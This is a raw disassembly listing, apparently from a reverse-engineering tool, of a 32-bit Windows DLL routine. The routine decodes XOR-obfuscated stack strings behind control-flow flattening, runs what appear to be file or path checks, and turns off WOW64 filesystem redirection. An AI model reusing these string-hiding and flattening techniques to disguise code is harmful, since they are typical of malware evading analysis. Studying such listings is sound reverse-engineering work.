mov byte [ebp - 0x4c0], 1
mov byte [ebp - 0x4bf], 0xc
mov byte [ebp - 0x4be], 0x6c
mov al, 0x65
mov byte [ebp - 0x4bd], al
mov cl, 0x6e
mov byte [ebp - 0x4bc], cl
mov byte [ebp - 0x4bb], cl
mov cl, 0x7e
mov byte [ebp - 0x4ba], cl
mov dl, 0x75
mov byte [ebp - 0x4b9], dl
mov byte [ebp - 0x4b8], al
mov byte [ebp - 0x4b7], dl
mov byte [ebp - 0x4b6], 0x42
mov byte [ebp - 0x4b5], 0x46
mov dl, 0x47
mov byte [ebp - 0x4b4], dl
mov ah, 0x57
mov byte [ebp - 0x4b3], ah
mov byte [ebp - 0x4b2], 0x5d
mov byte [ebp - 0x4b1], 0x44
mov ch, 0x72
mov byte [ebp - 0x4b0], ch
mov dh, 0x41
mov byte [ebp - 0x4af], dh
mov byte [ebp - 0x4ae], dh
mov byte [ebp - 0x4ad], 0x58
mov dh, 0x5f
mov byte [ebp - 0x4ac], dh
mov byte [ebp - 0x4ab], 0x45
mov byte [ebp - 0x4aa], dl
mov dl, 0x7b
mov byte [ebp - 0x4a9], dl
mov bl, 0x4c
mov byte [ebp - 0x4a8], bl
mov bh, 0x52
mov byte [ebp - 0x4a7], bh
mov byte [ebp - 0x4a6], dl
mov dl, 0x67
mov byte [ebp - 0x4a5], dl
mov byte [ebp - 0x4a4], 0x4a
mov byte [ebp - 0x4a3], bl
mov byte [ebp - 0x4a2], ah
mov byte [ebp - 0x4a1], bh
mov byte [ebp - 0x4a0], 0x4e
mov byte [ebp - 0x49f], ch
mov byte [ebp - 0x49e], 0x43
mov byte [ebp - 0x49d], 0x4f
mov byte [ebp - 0x49c], 0x64
mov byte [ebp - 0x49b], 0x69
mov byte [ebp - 0x49a], 0x6f
mov byte [ebp - 0x499], 0x7d
mov byte [ebp - 0x498], 0x74
mov byte [ebp - 0x497], dh
mov byte [ebp - 0x496], 0x79
mov byte [ebp - 0x495], ch
mov byte [ebp - 0x494], 0x7a
mov ah, 0x60
mov byte [ebp - 0x493], ah
mov byte [ebp - 0x492], cl
mov byte [ebp - 0x491], 0x71
mov byte [ebp - 0x490], al
mov byte [ebp - 0x48f], dl
mov byte [ebp - 0x48e], ah
mov byte [ebp - 0x48d], 0x62
lea eax, [ebp - 0x48a]
mov dword [ebp - 0x114], eax
mov ecx, 0xd37ca195
lea eax, [ebp - 0x48c]
cmp ecx, 0xca57dbda
je 0x10018a0d
cmp ecx, 0xd37ca195
jne 0x10018351
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0xd37ca195
mov edx, 0xca57dbda
cmove ecx, edx
jmp 0x10018351
mov byte [ebp - 0x36c], 1
mov byte [ebp - 0x36b], 0xc
mov cl, 0x65
mov byte [ebp - 0x36a], cl
mov byte [ebp - 0x369], 0x6f
mov byte [ebp - 0x368], 0x7d
mov ah, 0x6c
mov byte [ebp - 0x367], ah
mov byte [ebp - 0x366], 0x7e
mov byte [ebp - 0x365], 0x6b
mov al, 0x79
mov byte [ebp - 0x364], al
mov byte [ebp - 0x363], 0x61
mov byte [ebp - 0x362], al
mov dl, 0x62
mov byte [ebp - 0x361], dl
mov byte [ebp - 0x360], dl
mov al, 0x73
mov byte [ebp - 0x35f], al
mov byte [ebp - 0x35e], dl
mov dl, 0x70
mov byte [ebp - 0x35d], dl
mov byte [ebp - 0x35c], 0x6a
mov byte [ebp - 0x35b], ah
mov ch, 0x69
mov byte [ebp - 0x35a], ch
mov byte [ebp - 0x359], 0x77
mov byte [ebp - 0x358], dl
mov byte [ebp - 0x357], 0x76
mov byte [ebp - 0x356], cl
mov byte [ebp - 0x355], ch
mov byte [ebp - 0x354], 0x42
mov byte [ebp - 0x353], 0x47
mov byte [ebp - 0x352], 0x41
mov byte [ebp - 0x351], 0x53
mov byte [ebp - 0x350], 0x5a
mov byte [ebp - 0x34f], ah
mov byte [ebp - 0x34e], al
mov byte [ebp - 0x34d], 0x7b
mov byte [ebp - 0x34c], 0x7c
mov byte [ebp - 0x34b], 0x5f
lea eax, [ebp - 0x348]
mov dword [ebp - 0x114], eax
mov ecx, 0x655e3ec0
lea eax, [ebp - 0x34a]
cmp ecx, 0x36d62f58
je 0x10018b1a
cmp ecx, 0x655e3ec0
jne 0x10018481
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x655e3ec0
mov edx, 0x36d62f58
cmove ecx, edx
jmp 0x10018481
mov ah, 1
mov byte [ebp - 0x40c], ah
mov byte [ebp - 0x40b], 0xc
mov byte [ebp - 0x40a], 0x70
mov cl, 0x79
mov byte [ebp - 0x409], cl
mov al, 0x72
mov byte [ebp - 0x408], al
mov byte [ebp - 0x407], al
mov al, 0x62
mov byte [ebp - 0x406], al
mov dl, 0x69
mov byte [ebp - 0x405], dl
mov byte [ebp - 0x404], cl
mov byte [ebp - 0x403], dl
mov ch, 0x44
mov byte [ebp - 0x402], ch
mov byte [ebp - 0x401], 0x46
mov byte [ebp - 0x400], 0x5d
mov byte [ebp - 0x3ff], 0x5c
mov cl, 0x40
mov byte [ebp - 0x3fe], cl
mov byte [ebp - 0x3fd], cl
mov byte [ebp - 0x3fc], 0x7e
mov byte [ebp - 0x3fb], 0x57
mov byte [ebp - 0x3fa], 0x47
mov byte [ebp - 0x3f9], 0
mov byte [ebp - 0x3f8], ah
mov byte [ebp - 0x3f7], 7
mov byte [ebp - 0x3f6], 0x6b
mov cl, 0x77
mov byte [ebp - 0x3f5], cl
mov byte [ebp - 0x3f4], 0x5a
mov byte [ebp - 0x3f3], 0x54
mov ah, 0x4f
mov byte [ebp - 0x3f2], ah
mov byte [ebp - 0x3f1], 0x4a
mov byte [ebp - 0x3f0], 0x56
mov byte [ebp - 0x3ef], 0x52
mov byte [ebp - 0x3ee], 0x63
mov byte [ebp - 0x3ed], 0x6f
mov byte [ebp - 0x3ec], ch
mov byte [ebp - 0x3eb], 0x71
mov byte [ebp - 0x3ea], cl
mov byte [ebp - 0x3e9], 0x65
mov byte [ebp - 0x3e8], 0x6c
mov byte [ebp - 0x3e7], ah
mov byte [ebp - 0x3e6], dl
mov byte [ebp - 0x3e5], al
mov byte [ebp - 0x3e4], 0x6a
mov byte [ebp - 0x3e3], pe_nt_image_headers32
mov byte [ebp - 0x3e2], 0x66
mov byte [ebp - 0x3e1], dl
mov byte [ebp - 0x3e0], 0x7d
mov byte [ebp - 0x3df], 0x67
mov byte [ebp - 0x3de], 0x60
mov byte [ebp - 0x3dd], al
lea eax, [ebp - 0x3da]
mov dword [ebp - 0x114], eax
mov ecx, 0x575b578a
lea eax, [ebp - 0x3dc]
cmp ecx, 0x6ce1c7a
je 0x10018c39
cmp ecx, 0x575b578a
jne 0x10018612
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x575b578a
mov edx, 0x6ce1c7a
cmove ecx, edx
jmp 0x10018612
mov ah, 1
mov byte [ebp - 0x464], ah
mov byte [ebp - 0x463], 0xc
mov byte [ebp - 0x462], 0x70
mov cl, 0x79
mov byte [ebp - 0x461], cl
mov al, 0x72
mov byte [ebp - 0x460], al
mov byte [ebp - 0x45f], al
mov al, 0x62
mov byte [ebp - 0x45e], al
mov dl, 0x69
mov byte [ebp - 0x45d], dl
mov byte [ebp - 0x45c], cl
mov byte [ebp - 0x45b], dl
mov ch, 0x44
mov byte [ebp - 0x45a], ch
mov byte [ebp - 0x459], 0x46
mov byte [ebp - 0x458], 0x5d
mov byte [ebp - 0x457], 0x5c
mov cl, 0x40
mov byte [ebp - 0x456], cl
mov byte [ebp - 0x455], cl
mov byte [ebp - 0x454], 0x7e
mov byte [ebp - 0x453], 0x57
mov byte [ebp - 0x452], 0x47
mov byte [ebp - 0x451], 0
mov byte [ebp - 0x450], ah
mov byte [ebp - 0x44f], 7
mov byte [ebp - 0x44e], 0x6b
mov cl, 0x77
mov byte [ebp - 0x44d], cl
mov byte [ebp - 0x44c], 0x5a
mov byte [ebp - 0x44b], 0x54
mov ah, 0x4f
mov byte [ebp - 0x44a], ah
mov byte [ebp - 0x449], 0x4a
mov byte [ebp - 0x448], 0x56
mov byte [ebp - 0x447], 0x52
mov byte [ebp - 0x446], 0x63
mov byte [ebp - 0x445], 0x6f
mov byte [ebp - 0x444], ch
mov byte [ebp - 0x443], 0x71
mov byte [ebp - 0x442], cl
mov byte [ebp - 0x441], 0x65
mov byte [ebp - 0x440], 0x6c
mov byte [ebp - 0x43f], ah
mov byte [ebp - 0x43e], dl
mov byte [ebp - 0x43d], al
mov byte [ebp - 0x43c], 0x6a
mov byte [ebp - 0x43b], pe_nt_image_headers32
mov byte [ebp - 0x43a], 0x66
mov byte [ebp - 0x439], dl
mov byte [ebp - 0x438], 0x7d
mov byte [ebp - 0x437], 0x67
mov byte [ebp - 0x436], 0x60
mov byte [ebp - 0x435], al
lea eax, [ebp - 0x432]
mov dword [ebp - 0x114], eax
mov ecx, 0x575b578a
lea eax, [ebp - 0x434]
cmp ecx, 0x6ce1c7a
je 0x10018d66
cmp ecx, 0x575b578a
jne 0x100187a3
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x575b578a
mov edx, 0x6ce1c7a
cmove ecx, edx
jmp 0x100187a3
lea eax, [ebp - 0x51c]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x7e638e5e
cmp eax, 0x369ab0ad
jg 0x10018832
cmp eax, 0x9cc0802b
je 0x1001885d
cmp eax, 0xd6a45921
je 0x10018e93
cmp eax, 0x5e4d563
jne 0x100187ef
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0x9cc0802b
jmp 0x100187ef
cmp eax, 0x369ab0ae
je 0x10018878
cmp eax, 0x40215795
je 0x100188b6
cmp eax, 0x7e638e5e
jne 0x100187ef
test byte [ebp - 0x528], 1
mov eax, 0x5e4d563
mov ecx, 0xd6a45921
cmove eax, ecx
jmp 0x100187ef
mov eax, dword [ebp - 0x520]
cmp eax, 0x32
mov eax, 0x40215795
mov ecx, 0x369ab0ae
cmovb eax, ecx
jmp 0x100187ef
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x51a]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x51b]
inc al
xor al, dl
xor al, cl
xor al, 0x32
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x51a], al
inc dword [ebp - 0x520]
mov eax, 0x9cc0802b
jmp 0x100187ef
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x4e8], 0
mov byte [ebp - 0x4e7], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xd6a45921
jmp 0x100187ef
mov byte [ebp - 0x3b4], 1
mov byte [ebp - 0x3b3], 0xc
mov cl, 0x65
mov byte [ebp - 0x3b2], cl
mov byte [ebp - 0x3b1], 0x6f
mov byte [ebp - 0x3b0], 0x7d
mov ah, 0x6c
mov byte [ebp - 0x3af], ah
mov byte [ebp - 0x3ae], 0x7e
mov byte [ebp - 0x3ad], 0x6b
mov al, 0x79
mov byte [ebp - 0x3ac], al
mov byte [ebp - 0x3ab], 0x61
mov byte [ebp - 0x3aa], al
mov dl, 0x62
mov byte [ebp - 0x3a9], dl
mov byte [ebp - 0x3a8], dl
mov al, 0x73
mov byte [ebp - 0x3a7], al
mov byte [ebp - 0x3a6], dl
mov dl, 0x70
mov byte [ebp - 0x3a5], dl
mov byte [ebp - 0x3a4], 0x6a
mov byte [ebp - 0x3a3], ah
mov ch, 0x69
mov byte [ebp - 0x3a2], ch
mov byte [ebp - 0x3a1], 0x77
mov byte [ebp - 0x3a0], dl
mov byte [ebp - 0x39f], 0x76
mov byte [ebp - 0x39e], cl
mov byte [ebp - 0x39d], ch
mov byte [ebp - 0x39c], 0x42
mov byte [ebp - 0x39b], 0x47
mov byte [ebp - 0x39a], 0x41
mov byte [ebp - 0x399], 0x53
mov byte [ebp - 0x398], 0x5a
mov byte [ebp - 0x397], ah
mov byte [ebp - 0x396], al
mov byte [ebp - 0x395], 0x7b
mov byte [ebp - 0x394], 0x7c
mov byte [ebp - 0x393], 0x5f
lea eax, [ebp - 0x390]
mov dword [ebp - 0x114], eax
mov ecx, 0x655e3ec0
lea eax, [ebp - 0x392]
cmp ecx, 0x36d62f58
je 0x10018f44
cmp ecx, 0x655e3ec0
jne 0x100189e0
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x655e3ec0
mov edx, 0x36d62f58
cmove ecx, edx
jmp 0x100189e0
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x7e638e5e
cmp eax, 0x369ab0ad
jg 0x10018a6f
cmp eax, 0x9cc0802b
je 0x10018a9a
cmp eax, 0xd6a45921
je 0x10019063
cmp eax, 0x5e4d563
jne 0x10018a2c
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0x9cc0802b
jmp 0x10018a2c
cmp eax, 0x369ab0ae
je 0x10018ab5
cmp eax, 0x40215795
je 0x10018af3
cmp eax, 0x7e638e5e
jne 0x10018a2c
test byte [ebp - 0x528], 1
mov eax, 0x5e4d563
mov ecx, 0xd6a45921
cmove eax, ecx
jmp 0x10018a2c
mov eax, dword [ebp - 0x520]
cmp eax, 0x32
mov eax, 0x40215795
mov ecx, 0x369ab0ae
cmovb eax, ecx
jmp 0x10018a2c
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x4be]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x4bf]
inc al
xor al, dl
xor al, cl
xor al, 0x32
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x4be], al
inc dword [ebp - 0x520]
mov eax, 0x9cc0802b
jmp 0x10018a2c
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x48c], 0
mov byte [ebp - 0x48b], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xd6a45921
jmp 0x10018a2c
lea eax, [ebp - 0x36c]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0xd845ed64
cmp eax, 0xf5eeca41
jg 0x10018b78
cmp eax, 0xca23099b
je 0x10018b92
cmp eax, 0xd845ed64
je 0x10018bb6
cmp eax, 0xf243d785
jne 0x10018b39
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xf5eeca42
jmp 0x10018b39
cmp eax, 0xf5eeca42
je 0x10018bcf
cmp eax, 0x3b40118e
je 0x10018bea
cmp eax, 0x45fee9dc
jne 0x10018b39
jmp 0x10019111
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x34a], 0
mov byte [ebp - 0x349], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0x45fee9dc
jmp 0x10018b39
test byte [ebp - 0x528], 1
mov eax, 0xf243d785
mov ecx, 0x45fee9dc
cmove eax, ecx
jmp 0x10018b39
mov eax, dword [ebp - 0x520]
cmp eax, 0x20
mov eax, 0xca23099b
mov ecx, 0x3b40118e
cmovb eax, ecx
jmp 0x10018b39
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x36a]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x36b]
mov esi, 0xfe
sub esi, eax
and esi, 0x96
inc eax
and eax, 0x69
or eax, esi
xor al, dl
xor al, cl
xor al, 0xb6
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x36a], al
inc dword [ebp - 0x520]
mov eax, 0xf5eeca42
jmp 0x10018b39
lea eax, [ebp - 0x40c]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x7e4854f1
cmp eax, 0x43c415bd
jg 0x10018cc8
cmp eax, 0xbb07a5d9
je 0x10018cfe
cmp eax, 0xd577da2e
je 0x10018d24
cmp eax, 0x36791a2d
jne 0x10018c58
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x40a]
mov edx, dword [ebp - 0x520]
mov al, byte [ebp - 0x40b]
movzx esi, al
lea ebx, [edx + 1]
mov eax, 0xfe
sub eax, edx
and eax, esi
not esi
and esi, ebx
or eax, esi
xor al, cl
xor al, 0x2e
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x40a], al
inc dword [ebp - 0x520]
mov eax, 0x5009e151
jmp 0x10018c58
cmp eax, 0x43c415be
je 0x100191bf
cmp eax, 0x5009e151
je 0x10018d4b
cmp eax, 0x7e4854f1
jne 0x10018c58
test byte [ebp - 0x528], 1
mov eax, 0xbb07a5d9
mov ecx, 0x43c415be
cmove eax, ecx
jmp 0x10018c58
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0x5009e151
jmp 0x10018c58
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x3dc], 0
mov byte [ebp - 0x3db], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0x43c415be
jmp 0x10018c58
mov eax, dword [ebp - 0x520]
cmp eax, 0x2e
mov eax, 0xd577da2e
mov ecx, 0x36791a2d
cmovb eax, ecx
jmp 0x10018c58
lea eax, [ebp - 0x464]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x7e4854f1
cmp eax, 0x43c415bd
jg 0x10018df5
cmp eax, 0xbb07a5d9
je 0x10018e2b
cmp eax, 0xd577da2e
je 0x10018e51
cmp eax, 0x36791a2d
jne 0x10018d85
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x462]
mov edx, dword [ebp - 0x520]
mov al, byte [ebp - 0x463]
movzx esi, al
lea ebx, [edx + 1]
mov eax, 0xfe
sub eax, edx
and eax, esi
not esi
and esi, ebx
or eax, esi
xor al, cl
xor al, 0x2e
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x462], al
inc dword [ebp - 0x520]
mov eax, 0x5009e151
jmp 0x10018d85
cmp eax, 0x43c415be
je 0x1001926d
cmp eax, 0x5009e151
je 0x10018e78
cmp eax, 0x7e4854f1
jne 0x10018d85
test byte [ebp - 0x528], 1
mov eax, 0xbb07a5d9
mov ecx, 0x43c415be
cmove eax, ecx
jmp 0x10018d85
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0x5009e151
jmp 0x10018d85
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x434], 0
mov byte [ebp - 0x433], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0x43c415be
jmp 0x10018d85
mov eax, dword [ebp - 0x520]
cmp eax, 0x2e
mov eax, 0xd577da2e
mov ecx, 0x36791a2d
cmovb eax, ecx
jmp 0x10018d85
lea esi, [ebp - 0x114]
mov dword [ebp - 0x528], esi
mov eax, dword [ebp - 0x528]
mov edi, 0x104
push edi
push 0
push dword [ebp - 0x528]
call fcn.1008c000
add esp, 0xc
mov dword [ebp - 0x520], esi
push edi
mov edi, dword [ebp - 0x534]
push dword [ebp - 0x520]
lea eax, [ebp - 0x4e2]
push eax
lea eax, [ebp - 0x51a]
push eax
call fcn.1005b834
add esp, 0x10
mov dword [ebp - 0x524], eax
mov ecx, 0xdad1ce27
cmp ecx, 0x64897a5e
je 0x10018f23
cmp ecx, 0xfc2332a9
je 0x1001931b
cmp ecx, 0xdad1ce27
jne 0x10018eef
cmp dword [ebp - 0x524], 0
mov ecx, 0xfc2332a9
mov eax, 0x64897a5e
cmove ecx, eax
xor eax, eax
jmp 0x10018eef
lea eax, [ebp - 0x4ca]
push eax
push dword [ebp - 0x520]
call fcn.1008c160
add esp, 8
test eax, eax
setne al
mov ecx, 0xfc2332a9
jmp 0x10018eef
lea eax, [ebp - 0x3b4]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0xd845ed64
cmp eax, 0xf5eeca41
jg 0x10018fa2
cmp eax, 0xca23099b
je 0x10018fbc
cmp eax, 0xd845ed64
je 0x10018fe0
cmp eax, 0xf243d785
jne 0x10018f63
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0xf5eeca42
jmp 0x10018f63
cmp eax, 0xf5eeca42
je 0x10018ff9
cmp eax, 0x3b40118e
je 0x10019014
cmp eax, 0x45fee9dc
jne 0x10018f63
jmp 0x1001933b
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x392], 0
mov byte [ebp - 0x391], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0x45fee9dc
jmp 0x10018f63
test byte [ebp - 0x528], 1
mov eax, 0xf243d785
mov ecx, 0x45fee9dc
cmove eax, ecx
jmp 0x10018f63
mov eax, dword [ebp - 0x520]
cmp eax, 0x20
mov eax, 0xca23099b
mov ecx, 0x3b40118e
cmovb eax, ecx
jmp 0x10018f63
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x3b2]
mov eax, dword [ebp - 0x520]
mov dl, byte [ebp - 0x3b3]
mov esi, 0xfe
sub esi, eax
and esi, 0x96
inc eax
and eax, 0x69
or eax, esi
xor al, dl
xor al, cl
xor al, 0xb6
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x3b2], al
inc dword [ebp - 0x520]
mov eax, 0xf5eeca42
jmp 0x10018f63
lea esi, [ebp - 0x114]
mov dword [ebp - 0x528], esi
mov eax, dword [ebp - 0x528]
mov edi, 0x104
push edi
push 0
push dword [ebp - 0x528]
call fcn.1008c000
add esp, 0xc
mov dword [ebp - 0x520], esi
push edi
mov edi, dword [ebp - 0x534]
push dword [ebp - 0x520]
lea eax, [ebp - 0x486]
push eax
lea eax, [ebp - 0x4be]
push eax
call fcn.1005b834
add esp, 0x10
mov dword [ebp - 0x524], eax
mov eax, 0xdad1ce27
cmp eax, 0x64897a5e
je 0x100190f0
cmp eax, 0xfc2332a9
je 0x100193e9
cmp eax, 0xdad1ce27
jne 0x100190bf
cmp dword [ebp - 0x524], 0
mov eax, 0xfc2332a9
mov ecx, 0x64897a5e
cmove eax, ecx
xor ecx, ecx
jmp 0x100190bf
lea eax, [ebp - 0x46e]
push eax
push dword [ebp - 0x520]
call fcn.1008c160
add esp, 8
test eax, eax
setne cl
mov eax, 0xfc2332a9
jmp 0x100190bf
lea esi, [ebp - 0x114]
mov dword [ebp - 0x528], esi
mov eax, dword [ebp - 0x528]
mov edi, 0x104
push edi
push 0
push dword [ebp - 0x528]
call fcn.1008c000
add esp, 0xc
mov dword [ebp - 0x520], esi
push edi
mov edi, dword [ebp - 0x534]
push dword [ebp - 0x520]
lea eax, [ebp - 0x346]
push eax
lea eax, [ebp - 0x36a]
push eax
call fcn.1005b834
add esp, 0x10
mov dword [ebp - 0x524], eax
mov eax, 0xdad1ce27
cmp eax, 0x64897a5e
je 0x1001919e
cmp eax, 0xfc2332a9
je 0x100193fe
cmp eax, 0xdad1ce27
jne 0x1001916d
cmp dword [ebp - 0x524], 0
mov eax, 0xfc2332a9
mov ecx, 0x64897a5e
cmove eax, ecx
xor ecx, ecx
jmp 0x1001916d
lea eax, [ebp - 0x32e]
push eax
push dword [ebp - 0x520]
call fcn.1008c160
add esp, 8
test eax, eax
setne cl
mov eax, 0xfc2332a9
jmp 0x1001916d
lea esi, [ebp - 0x114]
mov dword [ebp - 0x528], esi
mov eax, dword [ebp - 0x528]
mov edi, 0x104
push edi
push 0
push dword [ebp - 0x528]
call fcn.1008c000
add esp, 0xc
mov dword [ebp - 0x520], esi
push edi
mov edi, dword [ebp - 0x534]
push dword [ebp - 0x520]
lea eax, [ebp - 0x3d6]
push eax
lea eax, [ebp - 0x40a]
push eax
call fcn.1005b834
add esp, 0x10
mov dword [ebp - 0x524], eax
mov eax, 0xdad1ce27
cmp eax, 0x64897a5e
je 0x1001924c
cmp eax, 0xfc2332a9
je 0x10019413
cmp eax, 0xdad1ce27
jne 0x1001921b
cmp dword [ebp - 0x524], 0
mov eax, 0xfc2332a9
mov ecx, 0x64897a5e
cmove eax, ecx
xor ecx, ecx
jmp 0x1001921b
lea eax, [ebp - 0x3be]
push eax
push dword [ebp - 0x520]
call fcn.1008c160
add esp, 8
test eax, eax
setne cl
mov eax, 0xfc2332a9
jmp 0x1001921b
lea esi, [ebp - 0x114]
mov dword [ebp - 0x528], esi
mov eax, dword [ebp - 0x528]
mov edi, 0x104
push edi
push 0
push dword [ebp - 0x528]
call fcn.1008c000
add esp, 0xc
mov dword [ebp - 0x520], esi
push edi
mov edi, dword [ebp - 0x534]
push dword [ebp - 0x520]
lea eax, [ebp - 0x42e]
push eax
lea eax, [ebp - 0x462]
push eax
call fcn.1005b834
add esp, 0x10
mov dword [ebp - 0x524], eax
mov eax, 0xdad1ce27
cmp eax, 0x64897a5e
je 0x100192fa
cmp eax, 0xfc2332a9
je 0x10019428
cmp eax, 0xdad1ce27
jne 0x100192c9
cmp dword [ebp - 0x524], 0
mov eax, 0xfc2332a9
mov ecx, 0x64897a5e
cmove eax, ecx
xor ecx, ecx
jmp 0x100192c9
lea eax, [ebp - 0x416]
push eax
push dword [ebp - 0x520]
call fcn.1008c160
add esp, 8
test eax, eax
setne cl
mov eax, 0xfc2332a9
jmp 0x100192c9
mov ecx, dword [ebp - 0x528]
mov dword [edi], 0x9027da67
and al, 1
mov ecx, dword [ebp - 0x52c]
mov byte [ecx], al
mov eax, 0x9027da67
jmp 0x10014c0f
lea esi, [ebp - 0x114]
mov dword [ebp - 0x528], esi
mov eax, dword [ebp - 0x528]
mov edi, 0x104
push edi
push 0
push dword [ebp - 0x528]
call fcn.1008c000
add esp, 0xc
mov dword [ebp - 0x520], esi
push edi
mov edi, dword [ebp - 0x534]
push dword [ebp - 0x520]
lea eax, [ebp - 0x38e]
push eax
lea eax, [ebp - 0x3b2]
push eax
call fcn.1005b834
add esp, 0x10
mov dword [ebp - 0x524], eax
mov eax, 0xdad1ce27
cmp eax, 0x64897a5e
je 0x100193c8
cmp eax, 0xfc2332a9
je 0x1001943d
cmp eax, 0xdad1ce27
jne 0x10019397
cmp dword [ebp - 0x524], 0
mov eax, 0xfc2332a9
mov ecx, 0x64897a5e
cmove eax, ecx
xor ecx, ecx
jmp 0x10019397
lea eax, [ebp - 0x376]
push eax
push dword [ebp - 0x520]
call fcn.1008c160
add esp, 8
test eax, eax
setne cl
mov eax, 0xfc2332a9
jmp 0x10019397
test cl, 1
mov eax, dword [ebp - 0x528]
mov eax, 0x9027da67
mov ecx, 0x8da686b3
jmp 0x10019450
test cl, 1
mov eax, dword [ebp - 0x528]
mov eax, 0x9027da67
mov ecx, 0x54df997b
jmp 0x10019450
test cl, 1
mov eax, dword [ebp - 0x528]
mov eax, 0x9027da67
mov ecx, 0x5fa25091
jmp 0x10019450
test cl, 1
mov eax, dword [ebp - 0x528]
mov eax, 0x9027da67
mov ecx, 0x22a67ed2
jmp 0x10019450
test cl, 1
mov eax, dword [ebp - 0x528]
mov eax, 0x9027da67
mov ecx, 0x5e1ea334
cmove eax, ecx
mov dword [edi], eax
mov ecx, dword [ebp - 0x52c]
mov byte [ecx], 1
jmp 0x10014c0f
cmp eax, 0xe7dc5e7c
je 0x10019471
mov eax, dword [edi]
jmp 0x10014c0f
mov eax, dword [ebp - 0x538]
mov bl, byte [eax]
mov eax, dword [0x100c6048]
mov dword [ebp - 0x524], eax
mov eax, 0x69e27419
mov esi, 0xa2757472
mov edi, 0xe37193c5
cmp eax, 0xa785d5f0
jle 0x100194c0
cmp eax, 0xa785d5f1
je 0x100194d0
cmp eax, 0xe37193c5
je 0x100194ec
cmp eax, 0x69e27419
jne 0x10019493
cmp dword [ebp - 0x524], 0
mov eax, 0xa785d5f1
cmove eax, edi
jmp 0x10019493
cmp eax, 0xa181b4b4
je 0x1001950f
cmp eax, 0xa2757472
jne 0x10019493
jmp 0x10019523
mov eax, dword [0x100c6048]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
mov eax, 0xa181b4b4
cmove eax, esi
jmp 0x10019493
push 0x100be4a0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.Wow64EnableWow64FsRedirection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100c6048], eax
mov eax, 0xa785d5f1
jmp 0x10019493
mov eax, dword [ebp - 0x114]
push 1
call eax
mov eax, 0xa2757472
jmp 0x10019493
and bl, 1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100879aa
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret